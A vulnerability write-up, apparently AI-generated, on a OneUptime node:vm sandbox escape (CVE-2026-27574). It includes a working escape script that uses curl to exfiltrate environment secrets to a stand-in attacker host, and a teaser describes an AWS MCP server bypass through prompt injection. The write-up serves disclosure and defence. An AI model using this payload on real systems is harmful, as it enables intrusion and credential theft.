CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27574

OneUptime, One Shell: Escaping the node:vm Sandbox

Alon Barad
Alon Barad
Software Engineer

Feb 24, 2026·5 min read·83 visits

Executive Summary (TL;DR)

Critical RCE in OneUptime < 10.0.5 allows attackers to escape the 'node:vm' sandbox via custom monitors. Exploitation grants full root access and credential theft.

OneUptime, a popular open-source observability platform, suffered from a catastrophic Remote Code Execution (RCE) vulnerability due to a classic misunderstanding of Node.js internals. By allowing users to create custom JavaScript monitors executed via the built-in `node:vm` module, the application inadvertently provided a bridge for attackers to escape the sandbox and execute arbitrary commands on the host. With a CVSS score of 10.0, this flaw allows unauthenticated attackers (via open registration) to fully compromise the underlying infrastructure, stealing database credentials and cluster secrets in seconds.

The Hook: Who Watches the Watchers?

In the world of DevOps, observability tools are the crown jewels. They have access to everything: database metrics, server health, logs, and often, by necessity, the network keys to the kingdom. OneUptime is one such tool—a status page and monitoring solution that promises to keep your services online. But irony has a cruel sense of humor.

The feature in question is "Synthetic Monitoring" or "Custom JavaScript Monitors." It’s a feature developers love: "Just let me write a quick script to check if my API returns the right JSON." To support this, OneUptime allowed users to input raw JavaScript, which the backend would then execute to perform the check.

Here’s the problem: Running untrusted code on your server is like handing a loaded gun to a stranger and asking them to hold it for a second. If you don't have a bulletproof vest (a real sandbox), you're going to have a bad time. OneUptime brought a cardboard box to a gunfight.

The Flaw: The 'VM' that Wasn't

The root cause of this vulnerability is a tale as old as Node.js itself: the misuse of the node:vm module. Many developers see "vm" and think "Virtual Machine"—images of Docker containers or KVMs dance in their heads. They assume it's a security boundary.

It is not.

The Node.js documentation actually includes a giant red warning box that essentially says: "Do not use this to execute untrusted code." The node:vm module creates a new context for code to run in, but it runs in the same process as the main application. Crucially, it shares the same memory space.

In JavaScript, if you can access an object, you can usually access its prototype. If you can access the prototype, you can walk up the chain to the constructor. If you get to the Function constructor, you can generate new functions outside the sandbox. It is less of a prison and more of a gentle suggestion to stay inside.

The Code: Anatomy of a Mistake

Let's look at the vulnerable pattern. The application was taking user input strings and passing them directly into vm.runInNewContext or similar derivatives. The code looked something like this:

// The Vulnerable Pattern
const vm = require('node:vm');
const userScript = "/* user input */";
 
// "Sandboxing" by limiting global variables
const sandbox = { 
    axios: require('axios'),
    console: console 
};
 
// EXECUTE
vm.createContext(sandbox);
const result = vm.runInContext(userScript, sandbox);

The fix, implemented in version 10.0.5, was a complete engine swap. The developers ripped out node:vm and replaced it with isolated-vm.

isolated-vm allows you to create V8 Isolates. These are distinct instances of the V8 engine with their own heap and stack. They don't share objects; they serialize data passed between them. It is a true heavy-duty boundary.

Here is the essence of the patch (Commit 7f9ed4d43945574702a26b7c206e38cc344fe427):

// The Fix: Using isolated-vm
import ivm from 'isolated-vm';
 
const isolate = new ivm.Isolate({ memoryLimit: 128 });
const context = isolate.createContextSync();
const jail = context.global;
 
// Sets the global object to be strictly dereferenced
jail.setSync('global', jail.derefInto());
 
// Execute user code in a separate V8 instance
const script = isolate.compileScriptSync(userCode);
script.runSync(context);

This change turns a trivial escape into a nearly impossible one (barring zero-days in V8 itself).

The Exploit: Break on Through to the Other Side

So, how do we weaponize the unpatched version? The goal is to reach the host's process object. Once we have process, we can require('child_process') and execute shell commands.

The attack vector is simple:

  1. Register a free account (if open registration is enabled).
  2. Create a new "Custom JavaScript" Monitor.
  3. Paste the following "magic spell" into the script body:
// The Magic Spell
const process = this.constructor.constructor('return process')();
const require = this.constructor.constructor('return require')();
const cp = require('child_process');
 
// Proof of Concept: Exfiltrate env vars
const secrets = JSON.stringify(process.env);
cp.execSync('curl -X POST -d "' + btoa(secrets) + '" http://attacker.com/loot');

How it works: this refers to the context object. this.constructor is the Object constructor. this.constructor.constructor is the Function constructor. By calling it with 'return process', we create a function executing outside the sandbox that returns the global Node.js process object. Game over.

The Impact: Total Cluster Compromise

Why is this a 10.0 CVSS? Because the OneUptime probe doesn't just run empty. It runs with environment variables populated with the keys to your kingdom.

Upon a successful escape, an attacker immediately gains access to:

  • ONEUPTIME_SECRET: The master key for the application.
  • DATABASE_PASSWORD: Direct access to the Postgres database.
  • REDIS_PASSWORD: Access to the cache/queue.
  • CLICKHOUSE_PASSWORD: Access to the analytics store.

Furthermore, because these probes often run inside Kubernetes clusters with service account tokens mounted, an attacker can use the shell access to pivot effectively, deploying ransomware or crypto-miners to the entire cluster. The time from "account registration" to "root shell" is approximately 30 seconds.

Official Patches

OneUptimeOfficial GitHub Security Advisory
OneUptimePatch Commit

Fix Analysis (1)

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.05%
Top 100% most exploited

Affected Systems

OneUptime ProbeOneUptime ServerOneUptime Docker Container

Affected Versions Detail

Product
Affected Versions
Fixed Version
OneUptime
Hackerbay
< 10.0.510.0.5
AttributeDetail
CVSS Score10.0 (Critical)
CWE IDCWE-94 (Code Injection)
VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
ImpactRemote Code Execution (RCE)
Attack VectorNetwork (Authenticated via Registration)
Exploit StatusFunctional PoC Available

MITRE ATT&CK Mapping

T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1203Exploitation for Client Execution
Execution
T1552.001Unsecured Credentials: Credentials in Files
Credential Access
CWE-94
Improper Control of Generation of Code ('Code Injection')

Known Exploits & Detection

GitHubFull exploit chain demonstrating registration, injection, and environment variable exfiltration.

Vulnerability Timeline

Patch committed to main branch
2026-02-18
GHSA Advisory Published
2026-02-21
PoC Released Publicly
2026-02-21

References & Sources

  • [1]Node.js VM Security Model Documentation
  • [2]Historical Context on Sandbox Escapes

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 day ago•GHSA-7PPR-R889-MCF2
7.5

GHSA-7PPR-R889-MCF2: Unbounded WebSocket Message Aggregation in http4s-blaze-server leads to Denial of Service

An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.

Alon Barad
Alon Barad
7 views•5 min read
•1 day ago•GHSA-95CV-R8X4-VH75
7.6

GHSA-95cv-r8x4-vh75: Path Traversal Vulnerability in OpenList Batch Rename Handler

A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.

Amit Schendel
Amit Schendel
7 views•7 min read
•1 day ago•GHSA-P6PH-3JX2-3337
4.3

GHSA-P6PH-3JX2-3337: Horizontal Privilege Escalation and Metadata Information Disclosure via Bleve Search in OpenList

OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.

Amit Schendel
Amit Schendel
7 views•5 min read
•1 day ago•GHSA-86CX-WWF4-PHQ4
6.5

GHSA-86cx-wwf4-phq4: Path Prefix Confusion Authorization Bypass in OpenList

An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.

Amit Schendel
Amit Schendel
6 views•6 min read
•1 day ago•CVE-2026-16584
7.0

CVE-2026-16584: Security Policy Bypass in AWS API MCP Server via Startup Initialization Failure

A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.

Amit Schendel
Amit Schendel
9 views•7 min read
•1 day ago•GHSA-6V4M-FW66-8R4X
6.5

GHSA-6V4M-FW66-8R4X: Path Disclosure and Shell Expansion Bypass in Shescape

An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.

Alon Barad
Alon Barad
6 views•7 min read